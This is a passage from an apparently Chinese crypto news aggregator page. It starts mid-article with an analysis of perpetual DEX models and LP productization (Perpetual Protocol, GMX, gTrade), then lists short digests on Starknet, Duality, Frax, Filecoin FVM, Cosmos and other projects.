的订单簿机制到 Perpetual Protocol 的 vAMM ，再到现在的 P2Pool 交易模式。这些交易模式的变化实际上反应了链上 Perpetual DEX 的审美和形态上的变化：DeFi 产品由面向交互用户的单一产品形式一步步转变为面向 LP 和交互用户的双产品形态。该模式其实也回答了什么是好的 DeFi 产品的问题，即： 就目前而言，订单簿系统和 P2Pool 模式有机会实现 LP 产品化，vAMM 模式则暂时无法实现。vAMM 无法实现的原因在于目前还没有一个行之有效的 LP 管理方法，即无法对 LP 的风险和收益进行有效分割；订单簿系统辅助于一些链上融资协议和 Advisor Protocol 可以实现 LP 的收益权民主化，但 LP 的管理权仍然受限；P2Pool 模式里 GMX 的 GLP 池和 gTrade 的 gDAI 池就是典型的 LP 产品。这意味着对于 GMX 和 gTrade 而言，Perpetual Trading 是他们为 Trader 推出的交易产品，而 GLP 和 gDAI 则是为普通散户提供的收益性产品。这两个产品之间相辅相成，造就了一个逻辑自洽的系统。 在后续的行文结构里，我们将对三类 Perpetual DEX 的机制进行解读并阐述其实现 LP 产品化的可能性以及实现方式。最后我们从 DeFi 发展历史观的角度阐述为何 LP 产品化对于 DeFi 发展具有重要作用。 订单簿系统是目前使用范围最广、最稳健的交易模式。其从 TradFI 继承而来，提供 Perpetual 的价格发现、流动性提供以及交易的功能。目前主流的 Perp trading 产品，如 WOO Network、Orderly Network、DyDx 等都是采用订单簿交易模式。由于传统交易市场的交易模式大多为订单簿，Trader 在区块链里交互订单簿产品的迁移成本很低。另外对于做市商而言，关于订单簿系统已经存在一系列风控的工具。在风险可控的情况下，做市商可以稳定获取手续费以及客损收益。Orderbook 交易模式在 TradFi 行业已经是一类非常成熟的交易模式，但由于区块链特征与 TradFi 具有显著差异性，订单簿系统在区块链体系中可能面临着水土不服，包括： 事实上上述所谓水土不服的问题其实并不影响订单簿模式的基本面，只是由于存在 TradFi 与 DeFi Native 的两个不同意识形态的冲撞才导致了上述问题的提出。因此在关于订单簿 DEX 未来的发展走向上，Web 3 内部分化为两个角度，一类是 Web 3 Native 的角度，另一类是实用主义的角度。 从 Web3 Native 的角度上看，订单簿数据应该上链；（目前 Sui Network 等毫秒级公链称有机会实现订单簿的完全链上化，但目前也仅能在测试网环境下实现；DyDx V4 版本也称将利用类似 mempool 的模式实现订单簿的去中心化。）订单簿系统的流动性应该寻求一定的方式进行杠杆化。 但从实用主义的角度上看，全链订单簿系统仍然面临着两个主要问题： 此外 LP 收益民主化和 LP 杠杆化的问题也面临低效和成本过高的问题。首先 LP 收益的民主化需要依赖于 Advisor Portocol 以及一些链上基金协议，即订单簿做市商在链上融资，并用融来的资金参与订单簿系统的做市，但该 LP 的管理权仍由做市商自己垄断。其次，LP 的杠杆化依赖于资金来源的民主化，做市商在链上募集资金后一般会为提供资金的用户发行一份票据，代表着该用户对于做市商部分资金的所有权。由于该票据具有做市商资金的所有权以及部分收益权，其也就具备了参与其他 DeFi 生态的基本面。在整个过程中订单簿为了实现所谓的 LP 产品化需要付出三个层面的额外成本： 过高的成本则意味着糟糕的商业模式。因此 LP 产品化这个模式在链上有实现的可能性，但可能并非最优选择。 那么从实用主要的角度看，订单簿未来的发展趋势会是什么？订单簿作为 TradFi 的舶来品，本身的定位就应该处于 Web 2.5 的阶段。这意味着其应该各取 TradFi 和 DeFi 的优势，共同服务于 Web 3 用户：TradFi 的优势在于做市商系统以及成熟的订单簿模式；DeFi 的优势在于资产的链上结算带来的透明性以及 Token 的资产属性。合理利用 Token 的资产属性激励流动性以及配合营销是 DeFi 带给 TradFi 最好的礼物。 vAMM 机制最先由 Perpetual Protocol 提出，目前有 V1 和 V2 两个版本。V1 版本是可以提供无限流动性的交易方式，交易无需多空对手盘。V1 版本里不存在 ETH - USDC 的真实流动性，但我们可以将其理解为一个 AMM 虚拟池，k 值由官方手动调整。当 Trader 进行交易时，假设其对 ETH 5x 杠杆做多，则 Perpetual Protocol 会生成 5x 的虚拟 USDC，并在该虚拟池中将该 5x 的 USDC 换成等值的 5x ETH，该 5x ETH 就相当于 Trader 的 5x 杠杆做多 ETH 的仓位。由于 V1 版本里不存在真实的流动性，上述 swap 过程并没有真实发生，我们可以将其简单的理解为一个记账过程。 在整个机制里最核心的就是 k 值的设置，其直接关系到每笔交易对于合约的价格影响。若 k 值设置的过高，合约的价格对于开仓量不敏感，影响 Trader 体验；若 k 值设置的过低，开仓量对于合约价格的影响过大，会直接造成 Trader 的损失。k 值的合理选择在于根据 CEX 的流动性实时调整。当 Perpetual Protocol 管理的池子较少时，人工主动调整 k 值是一个还算合理的选择；但当池子的数量不断增多时，人工调整则可能难以跟上市场变化。因此考虑到对 k 值进行市场化定价的问题，Perpetual Protocol 提出了 V2 版本。 Perpetual Protocol V2 利用 Uniswap V3 构造实际的”虚拟流动性”。“实际”意味着 V2 版本中确实存在真实的 LP，“虚拟流动性”则表示 Perpetual Protocol V2 内的流动性并不是常见的 AMM LP 流动性，而是虚拟生成的非实值 AMM LP。 LP 在 V2 版本中提供流动性时需要存入 USDC。以 ETH - USDC LP 为例，若 LP 想要利用 1000 USDC 提供流动性，则系统会为其最多生成 10000 vUSDC。该 LP 可以将这 10000 vUSDC 根据当前 vETH - vUSDC 的汇率换成 10000 vUSDC 等值的 vUSDC - vETH LP 交易对，在设置合理的价格区间后将该 LP 存入 Uniswap V3，为 Perpetual V2 提供流动性。（当然该 LP 也可以保留部分 vUSDC，比如只提供 8000 vUSDC 等值的流动性，剩下的 2000 vUSDC 可以被另外拿去做交易。）当 vETH - vUSDC 的流动性充裕时，LP 的 k 值自然得到了市场化的确定。 由 vAMM 模式计算出的 vETH - vUSDC LP pool 中 vETH 的价格就是 Perpetual Protocol V2 对于 ETH perp 的定价。为使 perp 的价格与现货的价格锚定，Perpetual Protocol 引入资金费率用于平衡多空。 其实我们可以对 Perpetual Protocol V2 的实际“虚拟流动性”这一抽象的概念做更为具象化的描述。LP 在存入 USDC 时生成的 vUSDC 是以 ERC- 20 的形式真实存在的，构造的 vETH - vUSDC LP 也是真实存在于 Uniswap V3 的。LP 提供的流动性本质上是在提供 vETH - vUSDC 的流动性，Trader 进行的 perp 交易本质上被转化为了 vETH - vUSDC 的现货交易，vETH 的价格就是目前该 perp 的定价。由于 vETH 的定价独立于 ETH 的定价，为使这两个价格尽可能的锚定，资金费率这一工具也就自然的被引入到了 Perpetual Protocol 中。 从上述机制中可以看出 LP 和 Trader 的界限是很不明的，主要体现在三点： 第二点和第三点是 LP 面临的主要风险，而且这部分风险是 vAMM 本身机制导致的风险，没有办法通过其他方式进行对冲。LP 作为对手方与 Trader 进行对赌的风险在于其部分 LP 仓位自动变成了交易仓位。由于 LP 在做市时自动选择了提供杠杆流动性，这意味着这部分交易仓位也是杠杆仓位， LP 需要支付资金费率，并且有被清算的可能性。 Perpetual Protocol 项目方也意识到了上述问题，通过补贴和 Insurance Fund 机制尽可能的降低 LP 面临的风险。补贴的方式主要在于当 LP 面临无常损失以及与 Trader 对赌产生的损失时，Perpetual Protocol 会补贴给 LP 一定量的 $Perp；Insurance Fund 存在的目的是当 Perpetual Protocol 内的多空不平衡时，Insurance Fund 首先作为对手方与 Trader 进行对赌，降低了 LP 可能面临的直接参与市场的风险。 这两种补救办法看似有效，实际上是变相的转移支付。$Perp 补贴主要是通过二级市场的泡沫消除 LP 面临的损失，本质上不可持续；Insurance Fund 的资金来源是部分清算费以及 20% 的 Taker 开仓平仓费，本质上来自于协议费和 LP 收益。这相当于把部分应该由 LP 获取的收益强制性地分配给了 Insurance Fund，降低了 LP 的整体收益，也相应地降低了整体风险。 总的来说，Perpetual Protocol 的 vAMM 模式在目前看来是一种 crypto native 的 perp 定价模式。该机制非常巧妙的发挥了 Uniswap V3 的交易机制的优势，但也继承了 Uniswap V3 无常损失过大的缺点。Uniswap V3 中的 LP 设置的价格区间等同于 LP 愿意跟 Trader 作为对手方的价格范围。在该价格范围内若 Trader 的买卖双方没有很平衡，那么 LP 就作为对手方与 Trader 进行博弈。同样的道理，在 Perpetual Protocol V2 中，若多空双方没有平衡，LP 就作为对手盘与 Trader 进行博弈，承担各种损益。在 CEX 中，做市商与 Trader 的博弈已经有多种成熟的风险管理策略，比如对 Delta 头寸进行限制。但由于 Perpetual V2 的交易模式是自动化而且强制性的，LP 没有办法合理管理自己的头寸风险，当价格剧烈变动，LP 会由于无常损失以及 Trader PnL 的存在暴露较大的风险。 Perpetual Protocol 的 V2 的模式其实也算是 P2Pool 交易模式，LP 也会在一定条件下与 Trader 进行对赌。但 vAMM 模式下 LP 的风险承受能力却远远低于 P2Pool 模式下的 LP ，主要原因是 vAMM 下的 LP 是个人承担各自的风险，而 P2Pool 模式下的 LP 是共同承担所有的风险，个人的风险承受能力是远远低于集体的。对于 P2Pool 而言，由于极端行情造成的损失会被平均分摊到所有的 LP 上；但对于 vAMM 模式， 部分 LP 仓位可能会被直接清算。由于 vAMM 内 LP 获取做市收益以及承担的风险跟 LP 自身的风险管理能力是紧密相关的，而且目前也缺少关于 Uni V3 的风险管理工具，这样导致了在 Perpetual V2 上做市风险较高，而收益相对较低，LP 也没有办法以一种标准的形式参与 Perpetual Protocol 的流动性提供。给 LP 提供的补贴也是一种变相的转移支付，无法解决实际问题。因此对于 Perpetual Protocol 而言，其 LP 难以以产品化的形式呈现出来，其后续的发展也就会受到制约。 从数据上看，Perpetual Protocol 的 TVL 数据并不好看，问题的根源出在 LP 产品化这一端。 3. P2Pool 交易模式 对于 Perpetual Protocol V2 而言， vAMM 设计确实是区块链行业交易范式的一个创新，其可以实现 Perputual 在链上的价格发现功能。但价格发现功能的代价是 LP 承担了过多的风险，这部分风险很难对冲，即意味着在收益一定的情况下，风险不可控。在 Trader 用户与 LP 体验不一致的情况下，该产品很难成长为一个通用协议。GMX 的 P2Pool 模式就是在上述背景下走上了历史舞台。P2Pool Perpetual Trading 模式并非起始于 GMX 却在 GMX 中发扬光大。其主要优势在于 trading module 可模块化，可以被拆分成 LP、交易用户、喂价系统、结算系统等部分，各部分可独立运行，同时 LP 的风险也可被拆分。 模块式的设计应该是 ETH 2.0 升级带给区块链行业最重要的产品思维之一。GMX 式的产品设计与 ETH 2.0 的具有哲学上的一致性。 在 ETH 2.0 的未来规划中，PBS（proposer - builder separation）是以太坊升级的重要步骤之一，其主要作用是将区块构建与区块提议这两个步骤分离开，这是由于区块 Builder 需要在一个 slot 的时间内构建包括信标链区块在内的所有的区块，这需要很高的计算能力。然而对于公链而言，高计算量与去中心化是相互矛盾的，高计算量的存在会严重削弱区块链的去中心化特性。而 PBS 的存在则是将高计算量与去中心化两者结合在一起，具体的实现方式是将高计算量转移到链下，计算结束后只返回计算结果。 上述 PBS 的实现逻辑可以回答链上 Perpetual Trading 的定价问题。衍生品的定价需要很高的计算量和实效性。若将与衍生品价格发现相关的计算强制放置在链上，由于计算量不足造成的计算结果的延迟和误差最终会由 Trader 和 LP 共同承担。但若将与衍生品定价相关的计算放在链下，计算完毕后通过预言机将结果传输到链上，Trader 和 LP 也就不会面临由于价格发现机制造成的损失。 因此 P2Pool Perpetual DEX 的设计其实只是将复杂的衍生品定价问题交给了 CEX 进行报价，随后利用 CFD 的模式在链上进行交易，最终结果在链上完成结算。完成结算需要一个资金池提供流动性，而该资金池其实就是 P2Pool 中的 Pool。 目前关于 P2Pool Perpetual DEX 中经典的项目包括 GMX 和 gTrade，但两者的基本机制却有很大的区别。整体上看 GMX 相比于 gTrade 更加风险偏好，风格也更加激进；此外由于 GLP 的构成复杂性以及风险复杂性，与 GLP 相关的衍生产品相较于 gTrade 而言则更多。 一笔交易在 GMX 上的发生需要经过多个步骤： GMX 通过调用 CEX 的合约价格是没有滑点的，这纵然是 GMX 吸引 Trader 的一个优势。但往往一个产品的优点也是其缺点。由于滑点是流动性的成本，无滑点意味着有第三方为这部分成本买单。在 GMX 的场景里最后由 GLP 池承担由滑点造成的这部分损失。（GMX 的 AVAX 主网上就曾发生过由于 AVAX 流动性不足而导致的套利行为。目前量化基金经常会根据 CEX 的流动性进行 GMX 和 CEX 之间关于滑点的套利活动。）因此无滑点交易模式本质上是通过 GLP 池补贴 Trader ，从而吸引 Trader 前来交易。但关于滑点的套利行为本身并没有成为 GMX 很严重的问题，主要原因在于 GLP 池的收益分成较高，掩盖了由于套利活动产生的损失。 GMX 的 Trader 在进行交易时需要借入资产并支付 borrow fee。而这部分 borrow fees 就是 GLP 的收益来源之一。但此时借入资产的用途与 Gearbox 等杠杆平台的原理不同。GMX 借出的资金是为了对每个仓位准备足额的现货供最后结算使用；而 Gearbox 则是类似于 margin trading，借出的资产就表示其实际获取的杠杆。 GLP 的另外一个收益来源在于 Trader PnL ，即 Trader 在进行交易时的亏损。由于 GMX 内并不存在资金费率用于平衡多空，GLP 持有者面临着裸空头寸，即 LP 会直接下场与 Trader 进行对赌。但这个问题从长期主义的角度上看可能并不是问题，Trader 的胜率一般小于 50%，在这种情况下 GLP 持有者最终往往是盈利状态，但短期内的收益率可能面临着较大的波动。 关于 GMX 的模式能否持续的问题，社区内经历过激烈的讨论。GMX 不可持续的论据主要体现在由于资金费率的缺失导致的 GMX 头寸的不平衡。在牛市单边行情存在的情况下， GLP 池可能面临着巨大的裸空头寸风险，具有产生大额损失的可能性。但事实上上述问题类似于回答 CEX 在牛市时如何规避裸空头寸的问题。GLP 池中支持的币种只有少数几个流动性极好的蓝筹币种，因此不会出现类似 Luna 式的单边行情。而且各大 CEX 内也有充足的流动性，GMX 官方可以通过 CEX 或者其他链上 DEX 对冲风险或者直接实行仓位限额。整体上看 GMX 在牛市时可用的风险规避手段仍然很多。 事实上 GMX 官方也意识到了其模式设计上可能存在的缺陷以及风险。其在 X4 版本中提到未来几个可能的改进方案，但本质上仍然是妥协： 上述这些改进方案仍然没有最终敲定，仍处于讨论阶段。关于 GMX 相关的讨论可能一直会持续下去。 因此总结下来，GMX 的特点在于： 从 GLP 的模式设计上可以观察出 GMX 吸引的 LP 大多为高风险偏好。无论是无滑点交易模式还是裸空头寸的存在，都意味着 GLP 持有者承担较多的风险并获取风险收益。相反的，在模式设计 gTrade 则更偏向于保守和对 LP 友好。 gTrade(GNS) 原本是 Polygon 上的 Perp Trading 产品，后迁移至 Arbitrum ，其整体设计与 GMX 有巨大的差别。具体区别在于以下几点： gTrade 内部的结算池只有 DAI，而且其资金规模远远小于 gTrade 的日交易量。在协议不引入滑点的情况下，套利者通过滑点套利很容易造成结算池的损失；多空资金费率的引入也是尽量保证结算池不会存在较多的裸空头寸，降低结算池的风险；展期费用存在的目的是降低时间风险，尽量避免由于盈利仓位的长持导致结算池的一次性巨额损失；单边仓位限制也是为了避免结算池的巨额损失。因此从 gTrader 的机制设计上看可以看出，其风格相比于 GMX 而言是风险厌恶的。机制设计上有各种风控机制保证 gDAI 池的资金安全。 回归到 LP 产品化的主叙事上，GMX 的 GLP 池和 gTrade 的 gDAI 池就是典型的 LP 产品。这意味着对于 GMX 和 gTrade 而言，Perpetual Trading 是他们为 Trader 推出的交易产品，而 GLP 和 gDAI 则是为普通散户提供的收益性产品。这两个产品之间相辅相成，造就了一个逻辑自洽的系统。GLP 风险更高，收益也更高但不保本；gDAI 风险较低但 gTrade 为其设置了一系列 buffer 机制尽可能的防止 gDAI 的用户产生亏损。 GLP 和 gDAI 已经是较为完善了 LP 产品了，但对于 GLP 而言，由于 GMX 并未使用资金费率来平衡多空，GLP pool 经常存在着大额裸空头寸，相当于 GLP Pool 被迫作为对手盘与 Trader 进行博弈。此外， GLP 的构成包括 BTC、ETH、Link、Uni 以及 stable coin，GLP 的价值会随着其构成现货价值的波动而产品波动，这意味着币价也是影响 GLP 损益的重要因素。因此整体上，GLP 的风险可以被简单拆分为两个互不相干的风险：Delta risk 和 Trader PnL risk。 风险的可拆分性意味着有对 GLP 进行衍生化开发的可能性。目前已经有大量协议在尝试 Hedge GLP 面临的 Delta risk，比如 GMD Protocol，Umami Finance 和 Rage Trade 等。但 Trader PnL risk 可能难以从衍生品的角度去对冲，可行的方案在于 GMX 内部机制改进或者尝试在其他 DEX 或者 CEX 进行对冲。 对整个 DeFi 的发展史进行梳理后我们可以得到一个简单的三层架构： 第一层为核心币种，即 ETH、BTC 等可以蓝筹核心资产 第二层为 DEX、借贷和稳定币 第三层为所谓的 DeFi 2.0 协议 这三层架构的连接逻辑也很简单。第一层与第二层的连接逻辑在于为核心币种加杠杆；第二层与第三层的连接逻辑则在于 DeFi 协议之间的可组合性。为核心币种加杠杆是所有公链在搭建自己 DeFi 生态时必须要经历的一个阶段，这样才可以根据杠杆性，搭建出一个内生性的 DeFi 生态。值得注意的是第二层与第三层的连接，即协议之间的可组合性，需要依赖于第二层协议产生的真实收益。换句话说协议之间的可组合性其实反应了真实收益在不同协议之间的流动。 目前链上可以产生真实收益的场景并不多，包括： 这些存在真实收益的场景也就是 DeFi 相关产品发展的基础。从上个 DeFi 周期已经被证明的叙事上看，推动初始 DeFi 协议发展的核心发动机可以归结为下图： 这里的收益协议包括 Yearn Finance 等协议，其执行的最重要的功能在于 LP 产品化。在 DeFI 发展初期知道如何在 DeFi 协议中填充流动性的用户并不多，流动性挖矿还是一个比较新的叙事。Yearn FInance 的出现为 LP 提供了一个获取收益的场景，其将 DeFi 中可以获取收益的方式策略化，使得 LP 在不懂得具体操作的情况下可以根据 Yearn Finance 的策略被动获取收益。 虽然在现在看来当时 Yearn Finance 给出的策略过于简单，但其极大的促进了 DeFI 的发展。LP 产品化后 DeFI 协议 TVL 的增加进入快车道，TVL 的增加也使得交互用户对于 DeFi 产品的体验感增加。此外，LP 产品化也使得 LP 存在杠杆化的可能性，使其成为后续衍生品产品的开发与集成、搭建 DeFi lego 的基础。 因此对于 Perpetual DEX 而言，LP 产品化之路其实也只是在复刻初始 DeFi 协议发展的逻辑。那么感想是什么？一个未充分显现的叙事其实就存在于以往的故事中，只是这个故事换了封面之后被人遗忘在了角落。当人们突然想起这个故事可以换一种方式讲的时候，它便又面目一新，但若追根溯源，这个故事的内核一直存在于逝去的时间长河里。 Reference https://defillama.com/protocol/perpetual-protocol https://gains-network.gitbook.io/docs-home/ https://docs.perp.com/ https://gmxio.gitbook.io/gmx/  ( 11 min )

  • Open

    【英文】详解 Starknet 技术堆栈：工作原理、EVM 等效性、STARK 证明系统、Cairo VM…
    Chainfeeds 导读： Starknet Astro 研究员 Maxlion 撰文介绍 Starknet 技术堆栈，包括 Starknet 的工作原理、EVM 等效性、STARK 证明系统、Cairo VM 等等。 文章来源： https://mirror.xyz/0xb9e749FD3802D4A2162320ea7dB5AB8bf66a0AEA/o01pUdqNRRudOEoH8_beZK2vK7nmbku6PO2Nzgo9iQA 文章作者： Maxlion 观点： Maxlion：工作原理：与以太坊相比，Starknet 只需要一个排序器执行链下计算。为了减少数据量，证明者为交易生成一个 ZK-STARK 证明，验证者在链上验证证明的正确性后，将多个 L2 交易打包成以太坊上的单个交易。由此降低了链上的执行和存储成本，从而降低 gas 费用，提高 TPS。【原文为英文】 内容来源 Maxlion：EVM 等效性：Starknet 使用 ZK 友好的 Cairo VM，本身不兼容 EVM 和 Solidity。但随着 Solidity 编译器 Warp 和 Cairo zkEVM Kakarot 的引入，Starknet 可以实现类型 3 的 EVM 等效。【原文为英文】 内容来源 Maxlion：STARK 证明系统：与其他 ZK 证明系统相比，STARK 更安全，可扩展性更强。其证明生成速度可线性扩展，验证时间和证明大小可对数扩展。证明越大，总成本和验证时间越低。此外，STARK 纯粹依靠哈希和信息理论，具有更简单的密码学假设，能够抵抗量子攻击。缺点是初始证明生成规模大。【原文为英文】 内容来源 Maxlion：Cairo VM 和语言：Cairo VM 是一种 STARK 友好、图灵完备的冯诺依曼 CPU 架构。通过软件编程，其性能可无限接近 ASIC。Cairo 编程语言基于 Cairo 程序集 AIR 和 Sierra，编译非常高效且安全。Cairo 类似于 Rust，有一定学习难度，支持验证者通过字节码哈希验证程序，提高链上可扩展性和隐私性，目前仍在更新中。【原文为英文】 内容来源  ( 20 min )
    【英文长推】新项目前瞻｜Cosmos 生态 DEX 协议 Duality：有何创新之处？
    Chainfeeds 导读： Duality 是基于 Cosmos 构建的去中心化交易平台，通过引入 Multiplicity，可以实现完整的链上 MEV 捕获并将其重新分配给 Duality LP。加密研究员 Le Thang 对 Duality 的创新之处进行简要介绍。 文章来源： https://twitter.com/LeThang137/status/1635732592564781056 文章作者： Le Thang 观点： Le Thang：通过引入 Multiplicity 实现抗 MEV：链上 MEV 拍卖，MEV 捕获并重新分配给 LPs；通过将基于领导者的区块提议者改为多个并发的区块提议者（Multiplicity 共识），防止验证者审查交易及垄断；使用动态路由。【原文为英文】 内容来源 Le Thang：Duality 结合了 AMM 模型的深度流动性和用户友好型的订单簿模型。可以选择任何 AMM 曲线（集中流动性），但仍然使用其下的同一流动性池（共享流动性），进而实现灵活性及流动性碎片化。【原文为英文】 内容来源  ( 2 min )
    专访 Frax Finance 创始人：Frax 的货币溢价与产品发展
    Chainfeeds 导读： DeFi Dave 采访 Frax 创始人 Sam Kazemian，谈论稳定币极简主义、Frax 的货币溢价、隐形产品、链上治理等话题。中文版由深潮编译发布。 文章来源： https://m.techflowpost.com/article/2252 文章作者： Revelo Intel 观点： Sam Kazemian（ Frax Finance 创始人）：绝大多数加密协议将成为稳定币或大规模发行自己的稳定币；大多数金融原语看起来像是部分准备金银行；LSD 基本上是 ETH 稳定币；frxETH 拥有 Curve AMO，可以在 frxETH 和 ETH 之间交换，就像铸币和赎回功能；金融法则或金融激励会影响协议或协议建设者和社区；大型 DeFi 协议构建护城河并最大化其价值的最有效的方式是发行一种人们将其用作货币的负债。 内容来源 Sam Kazemian（ Frax Finance 创始人）：稳定币主义被抽象化了，就像跨链桥一样。跨链桥最有价值的优势是它可以进行防御，其他人无法通过降低费用来分叉或商品化，但事实上他们在链的另一端发行了一个稳定币，跨链桥项目本质上是一个稳定币发行商。 内容来源 Sam Kazemian（ Frax Finance 创始人）：Frax 正在开发 BAMM，即借款自动做市商，无需预言机，根据任何资产建立流动性，并在流动性上升时允许人们借用它，这对 DeFi 来说是潜在的零到一的创新；大型协议始终需要某种形式的人为干预，Frax 正在设计 FRXGov 机制，希望能在无需信任的情况下提出人为干预建议，允许 DAO 在 24 小时内投票否决任何多重签名。 内容来源  ( 9 min )
    离岸人民币稳定币发行商 CNHC Group 完成 1000 万美元 A+ 轮融资，KuCoin Ventures 领投
    离岸人民币稳定币发行商 CNHC Group 完成 1000 万美元 A+ 轮融资，KuCoin Ventures 领投 与离岸人民币 1:1 挂钩的稳定币 CNHC 发行商 CNHC Group 完成 1000 万美元 A+ 轮融资，KuCoin Ventures 领投，Circle 和 IDG Capital 参投，所筹资金将主要用于扩大 CNHC 在亚太地区的采用。为此，该公司正将总部从开曼群岛迁至香港。 据报道，CNHC 稳定币于 2021 年推出，用于转账和跨境贸易结算等用例。据 CNHC 联合创始人 Joy Cham 表示，CNHC 目前在以太坊和 Conflux 区块链上发行，总供应量约 1500 万枚。 内容来源  ( 215 min )
    FVM 在主网上线，Filecoin 智能合约时代来临
    Chainfeeds 导读： Filecoin 虚拟机 FVM 已在 Filecoin 主网正式启动，通过此次代号为「Hygee」的升级，Filecoin 网络首次变得可编程。通过引入可编程智能合约并在 FVM 之上启动以太坊虚拟机（EVM），开发人员可将现有 EVM 合约直接连接到 Filecoin 网络和存储服务，这将解锁开放数据经济的巨大潜力。 文章来源： https://mp.weixin.qq.com/s/XLLoVCwwLX0Qp7kYTQ-oVA 文章作者： Filecoin 观点： Filecoin：Filecoin 的愿景是将开放、公开、可验证的特性带到支持数据经济的三大核心支柱（存储、计算、内容分发）。通过 FVM，开发者可以部署智能合约，并规划数据存储、治理和在公开市场变现的方式。经过几个月的实验、迭代和强化，150 多个开发团队开始在 Filecoin 主网部署 FVM 的产品和服务，部署基于 FVM 的 DataDAOs 和 dApps 等的能力已经鼓舞了生态中 16,000 多名开发者。 内容来源 Filecoin：1）DeFi 借贷协议：FVM 让开发者可以搭建新型应用来帮助存储提供者获取用于抵押的 FIL。具体来说，FIL 持有者可以通过基于智能合约的协议，投入 FIL 来帮助存储提供者运作。这让 代币持有者与存储提供者更高效连接起来，可以让该网络上的数据加速增长，也能让新的存储提供者更高效将其服务带到这个网络上。 内容来源 Filecoin：2）永续存储和 Data DAO：通过 FVM，用户只需存储一次，让修复和复制机器人管理重复性的存储交易提议创建任务。拥有长期存储能力，同时从 Filecoin 的可验证存储证明机制受益，确保该网络正确存储和复制自己的数据；Data DAOs 可使用 FVM actor 合约来协调和管理上载到该 DAO 的数据，维护可扩展及干净的数据集。FVM actor 也可用于铸造代币和 NFT，分发给 DAO 成员以激励其行为。 内容来源 Filecoin：3）跨链解决方案：Filecoin 虚拟机支持与领先的 web3 区块链整合，实现跨链通信（Polygon、以太坊等）和跨链流动性（Celer、Axelar 等），为各种区块链增加强大的数据能力。FVM 支持分布式金融，给链上和链下的 FIL、其他代币和法币的价值流动提供服务；4）DeSci、视频、游戏等：FVM 会为视频创作、流媒体存储（如 Livepeer ）、社交数据保存和可移植性、实时游戏等服务解锁新的范式。 内容来源  ( 32 min )
    FVM 在主网上线，Filecoin 智能合约时代来临
    Chainfeeds 导读： Filecoin 虚拟机 FVM 已在 Filecoin 主网正式启动，通过此次代号为「Hygee」的升级，Filecoin 网络首次变得可编程。通过引入可编程智能合约并在 FVM 之上启动以太坊虚拟机（EVM），开发人员可将现有 EVM 合约直接连接到 Filecoin 网络和存储服务，这将解锁开放数据经济的巨大潜力。 文章来源： https://foresightnews.pro/article/detail/28179 文章作者： Filecoin Network 观点： Filecoin：Filecoin 的愿景是将开放、公开、可验证的特性带到支持数据经济的三大核心支柱（存储、计算、内容分发）。通过 FVM，开发者可以部署智能合约，并规划数据存储、治理和在公开市场变现的方式。经过几个月的实验、迭代和强化，150 多个开发团队开始在 Filecoin 主网部署 FVM 的产品和服务，部署基于 FVM 的 DataDAOs 和 dApps 等的能力已经鼓舞了生态中 16,000 多名开发者。 内容来源 Filecoin：1）DeFi 借贷协议：FVM 让开发者可以搭建新型应用来帮助存储提供者获取用于抵押的 FIL。具体来说，FIL 持有者可以通过基于智能合约的协议，投入 FIL 来帮助存储提供者运作。这让 代币持有者与存储提供者更高效连接起来，可以让该网络上的数据加速增长，也能让新的存储提供者更高效将其服务带到这个网络上。 内容来源 Filecoin：2）永续存储和 Data DAO：通过 FVM，用户只需存储一次，让修复和复制机器人管理重复性的存储交易提议创建任务。拥有长期存储能力，同时从 Filecoin 的可验证存储证明机制受益，确保该网络正确存储和复制自己的数据；Data DAOs 可使用 FVM actor 合约来协调和管理上载到该 DAO 的数据，维护可扩展及干净的数据集。FVM actor 也可用于铸造代币和 NFT，分发给 DAO 成员以激励其行为。 内容来源 Filecoin：3）跨链解决方案：Filecoin 虚拟机支持与领先的 web3 区块链整合，实现跨链通信（Polygon、以太坊等）和跨链流动性（Celer、Axelar 等），为各种区块链增加强大的数据能力。FVM 支持分布式金融，给链上和链下的 FIL、其他代币和法币的价值流动提供服务；4）DeSci、视频、游戏等：FVM 会为视频创作、流媒体存储（如 Livepeer ）、社交数据保存和可移植性、实时游戏等服务解锁新的范式。 内容来源  ( 8 min )
    Cosmos Hub 已完成 Lambda 升级，正式上线「Replication Security」
    Cosmos Hub 已完成 Lambda 升级，正式上线「Replication Security」 Cosmos Hub 已在区块高度 14470501 处实施 Lambda 升级，正式上线「Replication Security」。Lambda 升级是 Replicated Security 的第一次迭代，将允许 Consumer Chains 从 Cosmos Hub 的验证者集的使用中受益，而无需单独维护自己的验证者集。Consumer Chains 将受益于额外的安全性，而 ATOM 质押者将受益于 Consumer Chains 产生的一定比例的代币或费用作为质押奖励。 内容来源  ( 7 min )
    【长推】盘点 18 个值得关注的项目：Hord、TapiocaDAO、New Order、Vision Protocol...
    Chainfeeds 导读： 推特 KOL rick awsb 总结分享 18 个项目上线及升级信息，主要包括 Layer2、基础设施、工具和游戏等领域。 文章来源： https://twitter.com/rickawsb/status/1635810481838628865 文章作者： rick awsb 观点： rick awsb：Hord：Staking 服务 + 自动复投 + 代币奖励；TapiocaDAO：第一期 Beta 已上线；Perpy：支持付费跟单的交易平台，3 月 16 将在 Camelot 上 IDO；Neutra Finance：GLP 风险中性收益聚合器；Portal：Wallet as Service；Gearbox Protocol：v3 即将发布，将支持风险更大的收益协议，用户将有更多加杠杆收益选择；Angle：发布 Merkl，项目方可通过协议为 uni v3 等 LPs 提供额外奖励；Timeless Finance：同样为 uni v3 LPs 提供激励； 内容来源 rick awsb：New Order：下一个孵化项目可能是 Crypto 支付；Vision Protocol：基于游戏对战结果的博彩平台，项目非常早期，GameFi 模式的微创新；TickrAI：支持自然语言输入的代币搜索引擎，需购买代币使用；GigaSwap：OTC 交易平台；Trident Ψ：OasisSwapDEX Ψ 上线，作为 PSI 潜在的二池，代币奖励模式及发行模式看得出项目方花了心思； 内容来源 rick awsb：OT | Onchain Trade：利用系统生成的 OUSD，支持单边流动性，所有池子都是对 U 的 LP，存入单币即可，3 月 10 号 IDO；Silo Finance：风险分池借贷市场，上线 Arbitrum；Pendle：上线 Arbitrum，支持 GLP，TVL ATH；OpenLeverage：上线 Arbitrum，用户可基于 DEX 里任何交易对进行杠杆交易；Rodeo Finance：ARB 上的杠杆流动性收益协议；IPOR Labs：继稳定币利率交易之后，将支持 ETH 利率交易。 内容来源  ( 2 min )
    【长推】加密友好银行接连倒下，会带来哪些影响？
